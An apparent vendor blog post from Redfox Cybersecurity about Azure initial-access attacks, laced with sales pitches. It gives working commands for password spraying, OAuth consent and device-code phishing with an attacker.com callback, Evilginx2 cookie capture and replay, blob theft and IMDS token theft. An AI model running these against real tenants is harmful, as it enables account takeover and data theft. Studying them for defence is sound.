Cloud adoption has made Azure one of the most targeted platforms for adversaries worldwide. Microsoft Azure hosts millions of enterprise workloads, and a single misconfiguration or stolen credential can hand an attacker the keys to your entire organization. Understanding how attackers gain initial access to Azure environments is the first step toward building a resilient cloud security posture.
This guide walks through the most critical Azure initial access techniques used in real-world red team operations and adversary campaigns, complete with the commands and tooling that make these attacks possible.
If you want your Azure environment tested before an attacker does it for you, Redfox Cybersecurity's penetration testing services are built specifically for cloud-native and hybrid environments.
Initial access refers to the techniques an adversary uses to gain their first foothold into a target environment. In the context of Microsoft Azure, this typically means compromising an identity, abusing a misconfigured service, or exploiting a publicly exposed resource to move into Azure Active Directory (now Microsoft Entra ID), Azure Resource Manager (ARM), or adjacent services like Microsoft 365 and Azure DevOps.
Azure initial access is mapped under MITRE ATT&CK for Cloud and commonly involves credential abuse, phishing, supply chain compromise, and exploitation of public-facing applications.
Password spraying remains one of the most effective and stealthy methods to gain initial access to Azure AD. Unlike brute-forcing a single account, password spraying tries a single commonly-used password across hundreds or thousands of accounts, evading account lockout thresholds.
Attackers commonly use tools like MSOLSpray or TeamFiltration to conduct spraying campaigns against Azure AD login endpoints.
Using MSOLSpray:
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2024!" -OutFile spray_results.txt
[cta]
This targets the legacy authentication endpoint at https://login.microsoftonline.com. Legacy authentication protocols like SMTP, IMAP, and Basic Auth do not support MFA, making them a prime target.
Attackers also use Ruler or custom scripts targeting the /common/oauth2/token endpoint:
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "grant_type=password&client_id=1b730954-1685-4b74-9bfd-dac224a7b894\
&username=user@contoso.com&password=Winter2024!&resource=https://graph.microsoft.com"
[cta]
A successful response returns an access token, which the attacker can immediately use to query Microsoft Graph for user data, mailboxes, and directory information.
Blocking legacy authentication with Conditional Access policies is one of the most impactful controls you can implement. Not sure if legacy auth is exposed in your tenant? Redfox Cybersecurity can identify these gaps through targeted Azure penetration testing.
OAuth 2.0 and OpenID Connect are at the heart of Azure identity. When misconfigured or abused, they create powerful initial access vectors.
In this attack, an adversary registers a malicious Azure AD application and tricks a user into granting it permissions to their account. Because the user legitimately consents, the attack bypasses MFA entirely.
The attacker creates a phishing link such as:
https://login.microsoftonline.com/common/oauth2/authorize?
client_id=<attacker_app_id>
&response_type=code
&redirect_uri=https://attacker.com/callback
&scope=Mail.Read Contacts.Read offline_access
&response_mode=query
[cta]
Once the victim clicks and consents, the attacker receives an authorization code and exchanges it for access and refresh tokens:
curl -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "grant_type=authorization_code\
&client_id=<attacker_app_id>\
&client_secret=<attacker_secret>\
&code=<auth_code>\
&redirect_uri=https://attacker.com/callback"
[cta]
With a refresh token, the attacker can maintain persistent access even if the user changes their password.
Device code phishing is a newer variant that bypasses MFA by abusing the OAuth 2.0 device code flow. Tools like TokenTactics automate this:
Import-Module .\TokenTactics.ps1
Get-AzureToken -Client MSTeams
[cta]
The attacker generates a device code and sends the URL to a victim, asking them to authenticate. When the victim logs in, the attacker's polling request captures the token:
curl -X POST "https://login.microsoftonline.com/common/oauth2/devicecode" \
-d "client_id=1950a258-227b-4e31-a9cf-717495945fc2\
&resource=https://graph.microsoft.com"
[cta]
This is a technique heavily used in nation-state campaigns and is extremely difficult to detect without proper logging.
Misconfigured Azure Blob Storage containers are a common and embarrassing source of initial access. Public containers expose sensitive files including configuration files, credentials, application secrets, and database backups.
Attackers enumerate public Azure storage accounts using tools like Microburst or manual enumeration:
Import-Module .\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base contoso -OutputFile blobs.txt
[cta]
This brute-forces common storage account names and checks for public accessibility. Once a public container is found:
az storage blob list \
--account-name contosobackups \
--container-name public \
--output table
[cta]
Attackers download interesting files directly:
az storage blob download \
--account-name contosobackups \
--container-name public \
--name db_backup_2024.sql \
--file ./stolen_backup.sql
[cta]
These backups often contain cleartext database credentials, which are then used to authenticate to Azure SQL, Cosmos DB, or other services.
Exposure of a single storage container can cascade into a full tenant compromise. Get your Azure storage and network configuration reviewed by Redfox Cybersecurity before it becomes a breach notification.
Development environments are increasingly targeted because they store credentials, connection strings, and service principal secrets in pipeline variables, source code, and build artifacts.
Once an attacker has compromised a developer account or obtained a personal access token (PAT), they enumerate repositories for hardcoded secrets:
# Using truffleHog against an Azure DevOps repo
trufflehog git https://dev.azure.com/contoso/project/_git/webapp \
--only-verified
[cta]
Attackers also look for PATs in pipeline YAML files:
# Listing pipeline definitions
az devops pipeline list \
--organization https://dev.azure.com/contoso \
--project MyProject \
--output table
[cta]
Service principal credentials stored as pipeline secrets can often be extracted by modifying a pipeline to echo environment variables or exfiltrate them to an external endpoint.
Service principals are non-human identities used by applications. When their client secrets are leaked, attackers authenticate directly to Azure:
az login --service-principal \
-u <app_id> \
-p <client_secret> \
--tenant <tenant_id>
[cta]
Once authenticated as a service principal, the attacker enumerates resources according to the role assignments that principal holds:
az role assignment list --assignee <app_id> --all
az resource list --output table
Adversary-in-the-middle (AiTM) phishing proxies like Evilginx2 allow attackers to capture both credentials and session cookies in real time, effectively bypassing MFA.
The attacker sets up Evilginx2 with a Microsoft phishlet and sends victims a crafted URL:
# Inside Evilginx2
phishlets hostname o365 login.contoso-secure.com
phishlets enable o365
lures create o365
lures get-url 0
[cta]
When the victim navigates to the phishing URL and authenticates, Evilginx proxies the request to the real Microsoft login page, capturing the session cookie after MFA is completed. The attacker then replays this cookie:
import requests
cookies = {"ESTSAUTHPERSISTENT": "<stolen_cookie_value>"}
r = requests.get("https://outlook.office365.com/mail/", cookies=cookies)
print(r.status_code)
[cta]
Microsoft's response to this is phishing-resistant MFA such as FIDO2 hardware keys or Windows Hello for Business, which bind the authentication to the device and cannot be proxied.
AiTM phishing is one of the most technically sophisticated initial access paths and is increasingly common in business email compromise (BEC) campaigns targeting Azure-hosted organizations. Redfox Cybersecurity's red team services simulate these exact attack chains to test your detection and response capabilities.
Azure Instance Metadata Service (IMDS) is accessible from within any Azure VM at the link-local address 169.254.169.254. If an attacker gains code execution on a VM, they can query IMDS to retrieve access tokens for any managed identity assigned to that VM.
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?\
api-version=2018-02-01&resource=https://management.azure.com/" | python3 -m json.tool
[cta]
The returned token grants access to Azure Resource Manager and any resources the managed identity has permissions on. This is particularly dangerous when managed identities are over-privileged, for example assigned Contributor or Owner roles at the subscription level.
Attackers frequently chain IMDS token theft with SSRF vulnerabilities in web applications hosted on Azure to pivot from an application-layer exploit to full subscription access.
Azure AD allows users from external tenants, Microsoft accounts, and social identities to be granted access through B2B and B2C configurations. Attackers enumerate and abuse these trust relationships.
Using AADInternals, attackers can map external identity configurations:
Import-Module AADInternals
Get-AADIntTenantDetails -Domain contoso.com
Invoke-AADIntReconAsOutsider -DomainName contoso.com | Format-Table
[cta]
This returns information about federation settings, authentication methods, and whether the tenant allows external invitations, all of which informs further attack planning.
If guest accounts are not properly governed, an attacker with a compromised external account can move laterally into the target tenant's resources.
Understanding these initial access techniques is not just an academic exercise. Every technique described above has been observed in real breach investigations. The pattern is consistent: organizations that have never tested their Azure environment are routinely surprised by what an attacker with basic tooling can accomplish in a matter of hours.
Common findings from Azure penetration tests include unrestricted legacy authentication, over-permissioned service principals, publicly accessible storage containers, absent Conditional Access policies, no alerting on suspicious sign-in behavior, and guest accounts with excessive privileges.
A structured penetration test maps your Azure environment against these attack patterns and gives you a prioritized remediation roadmap before a real attacker does the same work against you.
Redfox Cybersecurity offers comprehensive Azure and cloud penetration testing services that cover initial access simulation, privilege escalation, lateral movement, and data exfiltration scenarios. Their assessments are tailored to your specific Azure architecture, not generic checklists.
Azure initial access is diverse, spanning identity abuse, misconfiguration exploitation, phishing, and supply chain compromise. Defenders must think across all these dimensions simultaneously, while attackers only need to find one path in.
The commands and techniques outlined here represent what a skilled adversary will run against your environment. The question is whether your controls, detection logic, and response playbooks are ready to catch them.
Securing Azure requires more than enabling Defender for Cloud and hoping for the best. It requires adversarial validation: a team that thinks and acts like an attacker, tests the same techniques, and delivers actionable findings.
Ready to find out how resilient your Azure environment really is? Contact Redfox Cybersecurity to schedule an Azure penetration test and get ahead of the threats targeting your cloud infrastructure.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
